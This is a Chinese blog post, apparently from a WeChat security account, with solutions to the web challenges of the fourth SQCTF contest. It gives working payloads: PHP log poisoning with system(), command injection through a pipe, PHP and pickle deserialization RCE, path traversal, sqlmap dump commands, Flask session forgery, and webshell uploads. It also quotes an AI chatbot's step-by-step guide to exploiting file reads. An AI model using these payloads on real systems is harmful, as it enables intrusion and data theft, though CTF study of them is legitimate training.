点击上方蓝字关注我们 并设为星标
File_download
读取WEB-INF/web.xml
根据提示下载class/DownloadServlet?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class
,后对文件进行反编译,拿到class
key = [110,107,185,183,183,186,103,185,99,105,105,187,105,99,102,184,
185,103,99,108,186,107,187,99,183,109,105,184,102,106,106,188,
109,186,111,188]
flag = []
for num in key:
# 逆向运算:(num ^ 48) - 38
original_char = (num ^ 48) - 38
flag.append(chr(original_char))
print('解密结果:', ''.join(flag))
唯一
用焚靖一把梭
商师一日游
一层一层绕过后连码,flag都在文件中一层一层找就行了
baby include
payload:GET /?look=/var/log/nginx/access.log
UA头增加<?php system('cat flag.php');?>
直接读取
Upload_Level1
直接上传图片马抓包的时候改后缀
My Blog
robots.txt
找到目录位置,github地址找到账号密码,登录后台
ezGame
随便玩一下抓包修改值
Through
随便点击后发现文件读取,尝试目录穿越发现../
没有啥用,用其他方式拼接爆破发现..././..././..././flag
成功读取
逃
构造一个 test 类的序列化字符串,将 pswd 属性设置为 escaping,且确保字符串中不包含 flag 或 php 关键词,绕过过滤。
payload:?payload=O:4:"test":2:{s:4:"user";s:4:"user";s:4:"pswd";s:8:"escaping";}
嘿嘿嘿
要绕过检查获取flag,可以通过构造一个**hhh**
类的实例,其**content**
属性设置为"GET_FLAG",同时**file**
属性满足绕过条件。以下是步骤:
-
构造对象:创建 **hhh**
类的对象,设置**file**
为任意不含**flag**
和**php://**
的字符串,如**test.txt**
,**content**
设为**GET_FLAG**
。 -
序列化对象:生成该对象的序列化字符串。 -
发送Payload:将序列化后的字符串作为POST参数 **data**
发送,触发反序列化检查,从而输出flag。
序列化Payload生成:
<?php
classhhh{
public $file = "test.txt";
public $content = "GET_FLAG";
}
echo urlencode(serialize(new hhh()));
?>
payload:data=O%3A3%3A%22hhh%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22test.txt%22%3Bs%3A7%3A%22content%22%3Bs%3A8%3A%22GET_FLAG%22%3B%7D
解释:
-
**file**
属性不触发任何检查,其MD5与**flag.php**
不同,且不含**flag**
或**php://**
。 -
**content**
属性直接匹配**GET_FLAG**
,触发flag输出。 -
反序列化后立即检查条件,成功则直接输出flag,避免执行 **__destruct**
中的文件写入操作。
Input a number
浮点绕过
baby rce
GET弱类型绕过
Post通过call_user_func调用TYctf类的静态方法getKey来显示flag。
RceMe
ls查到在根目录
构造payload用nl /*
绕过
ping
管道符绕过?ip=127.0.0.1%20%7C%20cat%20/flag
Ez_calculate
脚本正则提取一下,返回包是访问/flag
import requests
import re
import time
# 配置目标URL(根据实际地址修改)
TARGET_URL = "http://challenge.qsnctf.com:32160/"
defsolve_math_challenge():
session = requests.Session()
start_time = time.time()
get_response = session.get(TARGET_URL)
# 步骤2: 提取数学表达式(正则表达式优化速度)
challenge_expression = re.search(
r'<div class="challenge">([d+-*]+)</div>',
get_response.text
).group(1)
try:
answer = eval(challenge_expression)
except:
print("计算表达式失败")
return
# 步骤4: 提交答案
post_data = {"value": int(answer)}
elapsed_time = time.time() - start_time
# 确保在1.8秒内完成提交(保留缓冲时间)
if elapsed_time < 1.8:
post_response = session.post(TARGET_URL, data=post_data)
print("响应内容:n", post_response.text)
else:
print("超时!总耗时:", elapsed_time)
if __name__ == "__main__":
solve_math_challenge()
要是不会爬虫可能目录扫描更快
eeaassyy
好多方法绕过view-source:
,提前开f12都可以
Upload_Level2
好像只需要mime验证,开始传的使用.jpg.php
双写绕过反正直接传
看了下源码的确只需要mime验证
flag就在根目录
白月光
直接fenjing一把梭,cat /flag
无惨之舞
抓包看回包发现用户名sqctf,爆破密码出来为1q2w3e4r
这里过滤了很多
通过/?exp=var_dump(glob('*'));
成功读取文件
通过/?exp=readfile('f1ag.php');
直接读取flag,flag存在f1ag文件中其他都是假的
后面直接调教ai帮我思考别的方法还有,/?exp=echo file_get_contents('f1ag.php');
也可以读取
执行后回显了这些,我应该怎么做
flag在哪里呢?,请告诉我
array(9) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(6) "bg.jpg" [3]=> string(8) "f1ag.php" [4]=> string(8) "flag.php" [5]=> string(9) "flag1.php" [6]=> string(9) "flag2.php" [7]=> string(9) "flag3.php" [8]=> string(9) "index.php" }
好的,用户现在得到了目录列表,里面有多个可能的flag文件,比如f1ag.php、flag.php、flag1.php等。用户想知道flag到底在哪里,该怎么获取。
首先,我需要回顾之前的对话。用户之前用了scandir来列出目录里的文件,然后我教他用highlight_file或file_get_contents来读取文件内容。现在他执行了另一个方法,可能是用了var_dump(glob('*')),得到了文件列表,现在想知道具体哪个文件里有flag。
用户给出的目录列表中有f1ag.php,这个文件名看起来像flag的变体,可能是故意拼错的,用来混淆。常见的CTF题目中,经常会有这种文件名,比如把flag写成f1ag,用数字1代替字母l。因此,首先应该检查f1ag.php。
不过,用户可能也会尝试其他类似的文件,比如flag.php、flag1.php等,但根据经验,可能f1ag.php才是正确的,但需要确认。用户需要读取这些文件的内容,查看其中是否包含flag。
接下来,我需要指导用户如何读取这些文件的内容。之前已经提到过使用highlight_file或者file_get_contents,现在可能需要具体给出每个可能的文件的读取方法,或者建议用户按优先级检查。
另外,用户可能对如何构造URL参数还不熟悉,需要给出具体的示例链接,比如:
http://challenge.qsnctf.com:30619/?exp=highlight_file('f1ag.php');
或者使用base64编码的方式,避免特殊字符被过滤:
http://challenge.qsnctf.com:30619/?exp=echo file_get_contents('php://filter/convert.base64-encode/resource=f1ag.php');
然后用户需要将输出的base64字符串解码,得到源代码。
此外,需要注意是否有过滤机制,比如如果直接输出flag可能会被WAF拦截,这时候用base64编码可以绕过。
用户可能需要依次检查每个可能的文件,但通常CTF题目中可能只有一个文件有flag,而其他的是误导。因此,优先检查f1ag.php,如果没有再尝试其他。
另外,用户可能需要查看页面源代码,因为有时候输出会隐藏在HTML注释中,或者被包裹在其他标签里,直接查看页面可能看不到,需要右键查看源代码。
总结步骤:
1. 优先读取f1ag.php的内容,使用highlight_file或file_get_contents。
2. 如果没有找到,继续检查flag.php、flag1.php等。
3. 如果内容被过滤,使用base64编码读取。
4. 查看页面源代码,确保没有遗漏。
同时,提醒用户注意特殊字符的URL编码,比如单引号可能需要替换为%27,避免解析错误。
例如,正确的URL应该是:
http://challenge.qsnctf.com:30619/?exp=highlight_file('f1ag.php');
如果服务器对参数中的单引号有处理问题,可以尝试使用双引号或者URL编码:
http://challenge.qsnctf.com:30619/?exp=highlight_file(%22f1ag.php%22);
或者:
http://challenge.qsnctf.com:30619/?exp=highlight_file(%27f1ag.php%27);
确保用户能够正确构造URL,避免语法错误。
最后,用户可能需要尝试多个文件,直到找到包含flag的那个。在CTF中,通常文件名有变体的那个最有可能,比如f1ag.php,但有时候也可能藏在其他文件中,需要耐心尝试。
根据你列出的目录内容,目标文件可能是 f1ag.php、flag.php 或其他 flagX.php 文件。以下是逐步操作指南:
步骤 1:优先读取 f1ag.php
文件名 f1ag.php 可能是 flag.php 的变形(用数字 1 替代字母 l),这是 CTF 题目中常见的混淆手段。
尝试直接读取该文件内容:
方法 1:使用 highlight_file()
访问以下 URL,直接高亮显示源代码:
复制
http://challenge.qsnctf.com:30619/?exp=highlight_file('f1ag.php');
如果成功,页面会显示 f1ag.php 的代码,检查其中是否包含类似 flag{...} 的字符串。
方法 2:使用 file_get_contents()
如果 highlight_file 被禁用,尝试直接输出内容:
复制
http://challenge.qsnctf.com:30619/?exp=echo file_get_contents('f1ag.php');
方法 3:Base64 编码绕过
如果输出被拦截或过滤,使用 PHP 伪协议 Base64 编码读取:
复制
http://challenge.qsnctf.com:30619/?exp=echo file_get_contents('php://filter/convert.base64-encode/resource=f1ag.php');
将回显的 Base64 字符串解码即可得到原始内容(在线解码工具:https://base64.guru/converter/decode)。
步骤 2:如果 f1ag.php 无果,检查其他文件
依次尝试读取其他可疑文件(如 flag.php、flag1.php 等):
php
复制
# 检查 flag.php
http://challenge.qsnctf.com:30619/?exp=highlight_file('flag.php');
# 检查 flag1.php
http://challenge.qsnctf.com:30619/?exp=highlight_file('flag1.php');
步骤 3:检查页面源代码
有时 Flag 会隐藏在 HTML 注释或 JavaScript 代码中,右键查看页面源代码(Ctrl+U 或 F12),搜索关键词 flag{ 或 CTF{。
步骤 4:特殊符号处理
如果 URL 中的单引号 (') 导致问题,可以替换为双引号或 URL 编码:
php
复制
# 使用双引号
http://challenge.qsnctf.com:30619/?exp=highlight_file("f1ag.php");
# 使用 URL 编码单引号(%27)
http://challenge.qsnctf.com:30619/?exp=highlight_file(%27f1ag.php%27);
示例操作
假设 f1ag.php 是目标文件,访问以下链接:
复制
http://challenge.qsnctf.com:30619/?exp=highlight_file('f1ag.php');
如果页面显示类似以下内容,则 Flag 在注释或代码中:
php
复制
<?php
// flag{qsnctf_123456}
echo "Nothing here.";
?>
注意事项
耐心尝试:CTF 中 Flag 可能藏在最意想不到的地方(如文件注释、变量名、图片元数据等)。
过滤绕过:如果遇到关键词过滤,尝试用 php://filter、Base64 编码或字符串拼接绕过。
路径问题:如果文件不在当前目录,可能需要回溯路径(如 ../f1ag.php)。
如果仍有问题,请提供具体回显内容,我会进一步分析!
小小查询系统
python sqlmap.py -u "[http://challenge.qsnctf.com:32099/?id=*"](http://challenge.qsnctf.com:32099/?id=*") --dbs
python sqlmap.py -u "[http://challenge.qsnctf.com:32099/?id=*"](http://challenge.qsnctf.com:32099/?id=*") -D ctf --tables
python sqlmap.py -u "[http://challenge.qsnctf.com:32099/?id=*"](http://challenge.qsnctf.com:32099/?id=*") -D ctf -T flag --dump
sqlmap直接跑
哎呀大大大黑塔
参数就是视频连接的bv开头那串/?SQNU=BV1tXckehEd3
跳转后打个反序列化就好了
Are you from SQNU?
根据给的提示一步步推,先POST包
->referer
->user-Agent
->X-Forwarded-For
->Cookie
图片展示功能
图片马+.htaccess配置文件
绕过
蚁剑连接
ggoodd
POST参数 id:直接传递id=abc
,满足 $id == 'abc'。
GET参数 json:传入/?json={"x":0}
,触发PHP的松散比较:json_decode 解析后得到 $json['x'] = 0(整数)。
在条件 0 == "cba" 中,PHP将字符串 "cba" 转换为整数 0,结果为 true。
伪装
让ai生成session绕过
import requests
from itsdangerous import URLSafeTimedSerializer
import json
secret_key = 'love'
session_data = {'role': {'is_admin': 1, 'name': 'sjx'}}
serializer = URLSafeTimedSerializer(
secret_key,
salt='cookie-session', # Flask默认的盐值
serializer=json,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)
cookie = serializer.dumps(session_data)
print(f"伪造的Session Cookie: {cookie}")
cookie = "eyJyb2xlIjogeyJpc19hZG1pbiI6IDEsICJuYW1lIjogInNqeCJ9fQ.Z_tGdw.PDdVDschP9EJl0V71SyEGkYUikE"
url = "http://challenge.qsnctf.com:31580/admin"
headers = {"Cookie": f"session={cookie}"}
response = requests.get(url, headers=headers)
if"flag"in response.text.lower():
print("成功获取Flag:", response.text)
else:
print("失败,请检查Session生成逻辑。响应内容:", response.text)
开发人员的小失误
爆破了九九八十一天
import requests
from concurrent.futures import ThreadPoolExecutor
import itertools
import string
# 目标基础URL
base_url = "http://challenge.qsnctf.com:30759/"
# 生成所有可能的字母组合路径(1~5位长度)
defgenerate_paths():
chars = string.ascii_lowercase # 小写字母a-z
max_length = 6# 最大爆破长度(建议不超过5,否则组合爆炸)
paths = []
for length in range(1, max_length + 1):
# 生成所有length长度的字母组合
for combo in itertools.product(chars, repeat=length):
filename = ''.join(combo) + ".sql"
paths.append(filename)
# 添加一些常见大写变种(如A.sql)
if max_length <= 3: # 避免内存爆炸
for length in range(1, max_length + 1):
for combo in itertools.product(chars.upper(), repeat=length):
filename = ''.join(combo) + ".sql"
paths.append(filename)
return list(set(paths)) # 去重
# 自定义请求头(降低被封锁概率)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "identity", # 避免压缩干扰内容检测
"Connection": "close"# 减少服务器负担
}
# 超时和重试配置
TIMEOUT = 10
MAX_RETRIES = 2
defcheck_sql_file(path):
retries = 0
while retries < MAX_RETRIES:
try:
url = base_url + path
resp = requests.get(
url,
headers=headers,
timeout=TIMEOUT,
allow_redirects=False, # 禁用重定向
stream=False# 不立即下载内容
)
# 快速过滤无效响应
if resp.status_code != 200:
returnFalse
# 检测有效内容
content = resp.text
if len(content) < 100: # 过小的文件可能是错误页面
returnFalse
# SQL文件特征检测
sql_keywords = ["insert into", "create table", "drop table", "dump completed"]
if any(kw in content.lower() for kw in sql_keywords):
print(f"[+] 发现SQL文件: {url}")
if"flag{"in content:
print(f"[!!!] 包含Flag: {content[:200]}...")
returnTrue
returnFalse
except (requests.Timeout, requests.ConnectionError):
retries += 1
print(f"[!] 超时重试 ({retries}/{MAX_RETRIES}): {path}")
except Exception as e:
print(f"[x] 错误: {path} - {str(e)}")
returnFalse
returnFalse
if __name__ == "__main__":
print("生成爆破路径...")
paths = generate_paths()
print(f"总爆破路径数: {len(paths)}")
# 性能提示(谨慎调整线程数)
if len(paths) > 10000:
print("警告:路径数量过大,建议缩小范围或使用分布式爆破!")
confirm = input("确认继续?(y/n) ")
if confirm.lower() != 'y':
exit()
# 启动线程池(根据网络状况调整)
with ThreadPoolExecutor(max_workers=50) as executor: # 高并发模式
print("开始爆破...")
found = sum(executor.map(check_sql_file, paths))
print(f"n爆破完成,发现有效文件数: {found}")
爆破后直接访问
下载后flag就在里面
Look for the homepage
在返回包中看到真正的页面地址
根据这行php运算符优先级,只需要pass2=welcome
即可绕过
if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome")
第二层POST弱类型即可绕过
/challenge.php?verify=&pass1=&pass2=welcome&value3=123
value1=fly=202cb962ac59075b964b07152d234b70
Pickle Data Tester
本题考点是Python Pickle反序列化漏洞,因为只能使用base64加密后的密文来执行,所以用脚本进行加密
import pickle
import base64
import subprocess
classExploit:
def__reduce__(self):
# 捕获命令输出并返回
return (subprocess.check_output, (['sh', '-c', 'cat /flag* || find / -name flag*'], ))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
gASVVAAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlCiMAnNolIwCLWOUjCBjYXQgL2ZsYWcqIHx8IGZpbmQgLyAtbmFtZSBmbGFnKpRlhZRSlC4=
千查万别
尝试构造了很多读了很多,都不行
后面尝试环境变量发现/proc/1/environ
可以读到
PS:更多比赛WP关注公众号
原文始发于微信公众号(深玄安全):【WP】第四届SQCTF大赛Web方向题目全解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论